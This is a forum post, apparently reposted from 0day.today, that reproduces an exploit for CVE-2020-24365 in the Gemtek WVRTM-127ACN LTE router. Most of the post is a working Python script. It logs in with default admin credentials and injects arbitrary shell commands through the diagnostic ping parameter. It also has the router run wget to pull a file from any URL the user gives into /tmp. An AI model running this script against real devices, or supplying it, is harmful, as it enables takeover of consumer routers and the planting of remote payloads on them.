Hoşgeldin Misafir

Gemtek WVRTM-127ACN 01.01.02.141 - Authenticated Arbitrary Command Injection Exploit

Asım Gürsoy

mersin
27 Mar 2020
8,833 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Gemtek WVRTM-127ACN 01.01.02.141 - Authenticated Arbitrary Command Injection Exploit--


Kod:
# Exploit Title: Gemtek WVRTM-127ACN 01.01.02.141 - Authenticated Arbitrary Command Injection                                         
# Exploit Author: Gabriele Zuddas                         
# Version: 01.01.02.127, 01.01.02.141                      
# CVE : CVE-2020-24365                                     
 
 
Service Provider :      Linkem
Product Name :  LTE CPE
Model ID :      WVRTM-127ACN
Serial ID :     GMK170418011089
IMEI :  XXXXXXXXXXXXX
ICCID :         XXXXXXXXXXXXXXXXXX
Firmware Version :      01.01.02.141
Firmware Creation Date :        May 15 13:04:30 CST 2019
Bootrom Version :       U-Boot 1.1.3
Bootrom Creation Date :         Oct 23 2015 - 16:03:05
LTE Support Band :      42,43
 
 
Injecting happens here:
 
sh -c (ping -4 -c 1 -s 4 -W 1 "INJECTION" > /tmp/mon_diag.log 2>&1; cmscfg -s -n mon_diag_status -v 0)&
 
 
Exploit has been tested on older verions too:
    Firmware Version:   01.01.02.127
    Firmware Creation Date :    May 23 15:34:10 CST 2018
 
"""
 
import requests, time, argparse, re, sys
 
class Exploit():
     
    CVE = "CVE-2020-24365"
     
    def __init__(self, args):
        self.args = args
        self.session = requests.Session()
     
    def login(self):
        s = self.session
        r = s.post(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=login.asp&action=login", data={"user_name":self.args.username,"user_passwd":self.args.password})
        if "sid" not in s.cookies:
            print("[!] Login failed.")
            exit(1)
        sid = s.cookies["sid"]
        s.headers = {"sid": sid}
        print(f"[*] Login successful! (sid={sid})")
     
    def now(self):
        return int(time.time() * 1000)
 
    def exploit(self, command):
        self.login()
         
        with self.session as s:
            payload = f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=save_monitor_diagnostic&mon_diag_type=0&mon_diag_addr=$({command};)&mon_ping_num=1&mon_ping_size=4&mon_ping_timeout=1&mon_tracert_hops=&mon_diag_protocol_type=4&time={self.now()}&_={self.now()}"
             
            r = s.get(payload)
            r = s.get(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1&time={self.now()}&_={self.now()}")
            content = str(r.content, "utf8")
 
            #Attempt to stop the command as some commands tend to get stuck (if commands stop working check on the web interface)
            r = s.get(payload)
            r = s.get(f"http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&action=diagnostic_tools_start&notrun=1&time={self.now()}&_={self.now()}")
            content = str(r.content, "utf8")
             
            #TODO: eventually parse content with regex to clean out the output
            c = re.findall(r"(?<=ping: bad address \')(.*)(?=\')", content)
            print(content)
            print(c[0])
             
            if len(c) > 0:
                return c[0]
            else:
                return False
 
    def download_file(self, url):
        filename = url.rsplit('/', 1)[-1]
         
        if self.args.file is not None:
            print(f"[*] Attempting download of file '{filename}' from {url} ...")
     
            if self.exploit(f"wget {url} -O /tmp/{filename}"):
                print(f"[*] File saved on {self.args.target}'s /tmp/{filename}.")
                print(self.exploit(f"du -h /tmp/{filename}"))
                return True
            else:
                print(f"[!] Failed to download {filename} from {url}")
                return False
 
    def run(self):
        if self.args.command is not None:
            print(self.exploit(self.args.command))
            exit()
        if self.args.file is not None:
            self.download_file(self.args.file)
            exit()
 
if __name__ == "__main__":
    # Create the parser and add arguments
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", dest="target", default="192.168.1.1", help="Vulnerable target")
    parser.add_argument("-u", "--username", dest="username", default="admin", help="Valid username to use")
    parser.add_argument("-p", "--password", dest="password", default="admin", help="Valid password to use")
    parser.add_argument("-c", "--command", dest="command", default=None, help="Command to execute")
     
    parser.add_argument("-D", "--download-file", dest="file", default=None, help="Download file on target's /tmp directory")
 
    args = parser.parse_args()
 
    # Run exploit
    X = Exploit(args)
    if len(sys.argv) > 1:
        print(f"[*] Exploiting {X.CVE} ...")
        X.run()
    else:
        parser.print_help(sys.stderr)
 
#  0day.today [2020-11-20]  #